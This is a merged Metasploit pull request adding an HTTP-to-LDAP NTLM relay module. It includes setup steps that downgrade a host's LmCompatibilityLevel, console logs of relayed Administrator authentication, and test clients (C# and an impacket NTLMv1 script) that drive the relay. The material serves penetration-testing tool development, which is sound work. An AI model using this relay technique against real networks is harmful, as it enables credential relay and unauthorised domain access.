Skip to content

HTTP to LDAP Relay Module#21323

Merged
smcintyre-r7 merged 2 commits intorapid7:masterfrom
jheysel-r7:feat/http_to_ldap
Apr 29, 2026
Merged

HTTP to LDAP Relay Module#21323
smcintyre-r7 merged 2 commits intorapid7:masterfrom
jheysel-r7:feat/http_to_ldap

Conversation

@jheysel-r7
Copy link
Copy Markdown
Contributor

@jheysel-r7 jheysel-r7 commented Apr 16, 2026

This PR adds an auxiliary relay module http_to_ldap which allows operators to relay HTTP NTLM authentication to an LDAP server. If successful the module opens an LDAP session. This module supports relaying one HTTP authentication attempt to multiple LDAP servers. After attempting to relay to one target, the relay server sends a 307 to the client and if the client is configured to repond to redirects, the client resends the NTLMSSP_NEGOTIATE request to the relay server. Multi relay will not work if the client does not respond to redirects.

The module supports relaying NTLM authentication which has been wrapped in GSS-SPNEGO. HTTP authentication info is sent in the WWW-Authenticate header. In the auth header base64 encoded NTLM messages are denoted with the NTLM prefix, while GSS wrapped NTLM messages are denoted with the Negotiate prefix. Note that in some cases non-GSS wrapped NTLM auth can be prefixed with Negotiate.

Verification

The Domain Computer will need to be configured to use NTLMv1 by setting the following registry key to a value less than or equal to 2:

PS > reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x2 /f
PS > reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
    LmCompatibilityLevel    REG_DWORD    0x2
  • Start msfconsole
  • use auxiliary/server/relay/http_to_ldap
  • Verify your target has an LMCompatibilityLevel which will allow relaying NTLM auth
  • Set RHOSTS
  • Run the module

Testing

Run the module, send http auth request to the relay server, profit:

msf auxiliary(server/relay/http_to_ldap) > run
[*] Auxiliary module running as background job 2.

[*] Relay Server started on 0.0.0.0:80
[*] Server started.
msf auxiliary(server/relay/http_to_ldap) > [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to ldap://172.16.199.201:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.201:389, attempting to relay back to client
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded
[*] Moving to next target (172.16.199.200). Issuing 307 Redirect to /ZdF7Ufkm0I
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to ldap://172.16.199.200:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded
[*] Target list exhausted for 172.16.199.130. Closing connection.
msf auxiliary(server/relay/http_to_ldap) > sessions -i -1
[*] Starting interaction with 5...

LDAP (172.16.199.200) > getuid
[*] Server username: KERBEROS\Administrator
LDAP (172.16.199.200) >

HTTP Clients

There were a number of different clients used to test the module, listing here for visibility

Invoke-WebRequest / Curl.exe

Invoke-WebRequest -Uri http://172.16.199.1/test -UseDefaultCredentials
curl.exe -v -L --negotiate -u : http://172.16.199.1/test

C# executable

From SpectreOpts

SharpHTTP.exe

using System;
using System.Net.Http;
using System.Threading.Tasks;

namespace SharpHTTP
{
    internal class Program
    {
        static async Task Main(string[] args)
        {
            var url = $"http://{args[0]}:{args[1]}/test"; 

            var handler = new HttpClientHandler
            {
                UseDefaultCredentials = true, // Uses current Windows user credentials
                PreAuthenticate = true,
                AllowAutoRedirect = true
            };

            using (var client = new HttpClient(handler))
            {
                try
                {
                    HttpResponseMessage response = await client.GetAsync(url);
                    response.EnsureSuccessStatusCode();

                    string content = await response.Content.ReadAsStringAsync();
                    Console.WriteLine("Response received:");
                    Console.WriteLine(content);
                }
                catch (Exception ex)
                {
                    Console.WriteLine($"Request failed: {ex.Message}");
                }
            }
        }
    }
}

GSS python script

I tried a number of different clients in order to test the NTLMv1 wrapped in GSS. Ran into a variety of issues which led me to the following python script:

gss_tester.py

import requests
import base64
from impacket.ntlm import getNTLMSSPType1, getNTLMSSPType3
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp

# --- Configuration ---
TARGET_URL = "http://172.16.199.1/test"
DOMAIN = "KERBEROS"
USERNAME = "Administrator"
PASSWORD = "N0tpassword!"

print(f"[*] Starting Clean Impacket NTLMv1 Client against {TARGET_URL}")

# ==========================================
# PHASE 1: Send Type 1 Message
# ==========================================
# 1. Generate the raw NTLM bytes
type1_obj = getNTLMSSPType1(workstation='', domain='', signingRequired=False, use_ntlmv2=False)
type1_bytes = type1_obj.getData()

# 2. Use Impacket's built-in SPNEGO NegTokenInit
spnego_init = SPNEGO_NegTokenInit()
spnego_init['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
spnego_init['MechToken'] = type1_bytes
type1_raw = spnego_init.getData()

type1_b64 = base64.b64encode(type1_raw).decode('utf-8')

print(f"[*] -> Sending Type 1 (NegTokenInit)...")
session = requests.Session()
req1 = session.get(TARGET_URL, headers={"Authorization": f"Negotiate {type1_b64}"})

# ==========================================
# PHASE 2: Parse Type 2 Message
# ==========================================
auth_header = req1.headers.get("WWW-Authenticate", "")
print(f"[*] <- Received Challenge: {auth_header[:40]}...")

type2_raw = base64.b64decode(auth_header.replace("Negotiate ", ""))
ntlm_start = type2_raw.find(b"NTLMSSP\x00")
type2_ntlm_bytes = type2_raw[ntlm_start:]

# ==========================================
# PHASE 3: Send Type 3 Message
# ==========================================
# Calculate the pure NTLMv1 response
type3_obj, session_key = getNTLMSSPType3(
    type1_obj,
    type2_ntlm_bytes,
    USERNAME,
    PASSWORD,
    DOMAIN,
    '',
    use_ntlmv2=False
)
type3_bytes = type3_obj.getData()

# 3. Use Impacket's built-in SPNEGO NegTokenResp
spnego_resp = SPNEGO_NegTokenResp()
spnego_resp['ResponseToken'] = type3_bytes
type3_raw = spnego_resp.getData()

type3_b64 = base64.b64encode(type3_raw).decode('utf-8')

print(f"[*] -> Sending Type 3 (NegTokenTarg) strictly as NTLMv1...")
req2 = session.get(TARGET_URL, headers={"Authorization": f"Negotiate {type3_b64}"})

print("-" * 40)
print(f"[+] Final Server Response Code: {req2.status_code}")

@github-actions
Copy link
Copy Markdown

Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected.

We've added the additional-testing-required label to indicate that additional testing is required before this pull request can be merged.
For maintainers, this means visiting here.

@github-actions
Copy link
Copy Markdown

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@smcintyre-r7 smcintyre-r7 self-assigned this Apr 17, 2026
@smcintyre-r7 smcintyre-r7 linked an issue Apr 17, 2026 that may be closed by this pull request
@github-actions
Copy link
Copy Markdown

Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected.

We've added the additional-testing-required label to indicate that additional testing is required before this pull request can be merged.
For maintainers, this means visiting here.

@jheysel-r7 jheysel-r7 added docs rn-modules release notes for new or majorly enhanced modules and removed needs-docs labels Apr 17, 2026
@bwatters-r7 bwatters-r7 moved this from Todo to Ready in Metasploit Kanban Apr 20, 2026
@smcintyre-r7 smcintyre-r7 requested a review from Copilot April 21, 2026 17:17
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds a new auxiliary HTTP-to-LDAP NTLM relay capability to Metasploit, including a reusable HTTP relay server mixin and an HTTP NTLM relay client state machine, plus module documentation.

Changes:

  • Introduces auxiliary/server/relay/http_to_ldap to relay HTTP NTLM auth to one or more LDAP targets and open an LDAP session on success.
  • Adds Msf::Exploit::Remote::HTTP::RelayServer and an HTTP NTLM ServerClient implementation to handle NTLM/SPNEGO over HTTP and multi-target relaying via redirects.
  • Adds end-user documentation for setup, verification steps, and an example scenario.

Reviewed changes

Copilot reviewed 4 out of 4 changed files in this pull request and generated 12 comments.

File Description
modules/auxiliary/server/relay/http_to_ldap.rb New auxiliary module wiring the HTTP relay server into LDAP session creation.
lib/msf/core/exploit/remote/http/relay_server.rb New HTTP relay server mixin (service startup, request dispatch, client tracking).
lib/msf/core/exploit/remote/http/relay/ntlm/server_client.rb New per-client HTTP NTLM relay state machine (Type1/2/3 + SPNEGO unwrap + redirects).
documentation/modules/auxiliary/server/relay/http_to_ldap.md New module documentation and usage scenario.

Comment thread lib/msf/core/exploit/remote/http/relay_server.rb Outdated
Comment thread lib/msf/core/exploit/remote/http/relay_server.rb Outdated
Comment thread lib/msf/core/exploit/remote/http/relay_server.rb Outdated
Comment thread lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb Outdated
Comment thread lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb
Comment thread modules/auxiliary/server/relay/http_to_ldap.rb
Comment thread lib/msf/core/exploit/remote/http/relay_server.rb Outdated
Comment thread lib/msf/core/exploit/remote/http/relay/ntlm/server_client.rb Outdated
Comment thread lib/msf/core/exploit/remote/http/relay_server.rb Outdated
Comment thread documentation/modules/auxiliary/server/relay/http_to_ldap.md Outdated
Comment thread lib/msf/core/exploit/remote/http/relay_server.rb Outdated
Comment thread lib/msf/core/exploit/remote/http/relay_server.rb Outdated
Comment thread lib/msf/core/exploit/remote/http/relay_server.rb Outdated
Comment thread lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb
Comment thread lib/msf/core/exploit/remote/http/relay/ntlm/server_client.rb Outdated
@github-project-automation github-project-automation Bot moved this from Ready to Waiting on Contributor in Metasploit Kanban Apr 21, 2026
@jheysel-r7 jheysel-r7 added this to the Module documentation milestone Apr 27, 2026
Comment thread documentation/modules/auxiliary/server/relay/http_to_ldap.md
Copy link
Copy Markdown
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Something funny is going on here because this warning is firing saying that the operation won't work... but then it does. I'm guessing the message may be over-fitted, it might have only been necessary in the past when SMB was the transport instead of HTTP. Either way, we should fix it so it's not throwing a warning that it's going to fail when it succeeds.

msf auxiliary(server/relay/http_to_ldap) > sessions

Active sessions
===============

No active sessions.

msf auxiliary(server/relay/http_to_ldap) > run
[*] Auxiliary module running as background job 3.
msf auxiliary(server/relay/http_to_ldap) > 
[*] Using URL: http://192.168.250.227:8080/ozlrcvyt
[*] Server started.
[*] Received GET request for /test from 192.168.159.128:37466
[*] Processing request in state unauthenticated from 192.168.159.128
[*] Detected GSS-SPNEGO wrapping around the type1 NTLM message
[*] Received Type 1 message from 192.168.159.128, attempting to relay...
[*] Attempting to relay to ldap://192.168.159.10:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://192.168.159.10:389, attempting to relay back to client
[*] Received GET request for /test from 192.168.159.128:37466
[*] Processing request in state awaiting_type3 from 192.168.159.128
[*] Detected GSS-SPNEGO wrapping around the type3 NTLM message
[*] Received Type 3 message from 192.168.159.128, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[!] Relay client's NTLM type 3 message is NTLMv2, relaying to LDAP will not work
[+] Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded
[*] Target list exhausted for 192.168.159.128. Closing connection.

msf auxiliary(server/relay/http_to_ldap) > sessions

Active sessions
===============

  Id  Name  Type  Information                                   Connection
  --  ----  ----  -----------                                   ----------
  5         ldap  LDAP smcintyre @ 192.168.159.10:389  192.168.159.128:42495 -> 192.168.159.10:389 (192.168.159.10)

msf auxiliary(server/relay/http_to_ldap) > 

Copy link
Copy Markdown
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just two more small changes before we land this.

Comment thread lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb Outdated
Comment thread lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb Outdated
Remove unnecessary code

Remove commented out code

Added documentation

Responded to Spencer and Copilot

Add anonymous identity check

Doc update

Warning surpression

Renamed ldap_client to relayed_connection

Comments
Copy link
Copy Markdown
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Changes look good to me now. I tested this pretty extensively now using this updated gss_tester script. Things work with/without NTLMv2, with/without GSS etc. I was targeting a Windows Server 2019 DC, and the LmCompatibility requirements I noted have been incorporated into the docs.

@github-project-automation github-project-automation Bot moved this from Waiting on Contributor to In Progress in Metasploit Kanban Apr 29, 2026
@smcintyre-r7 smcintyre-r7 merged commit 2634142 into rapid7:master Apr 29, 2026
51 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Apr 29, 2026
@smcintyre-r7
Copy link
Copy Markdown
Contributor

Release Notes

This adds a new NTLM relay module that relays from HTTP to LDAP. On success, an authenticated LDAP session is opened which allows the operator to interact with the LDAP service in the context of the relayed identity.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

additional-testing-required docs module rn-modules release notes for new or majorly enhanced modules

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

Add an HTTP NTLM Relay Server

4 participants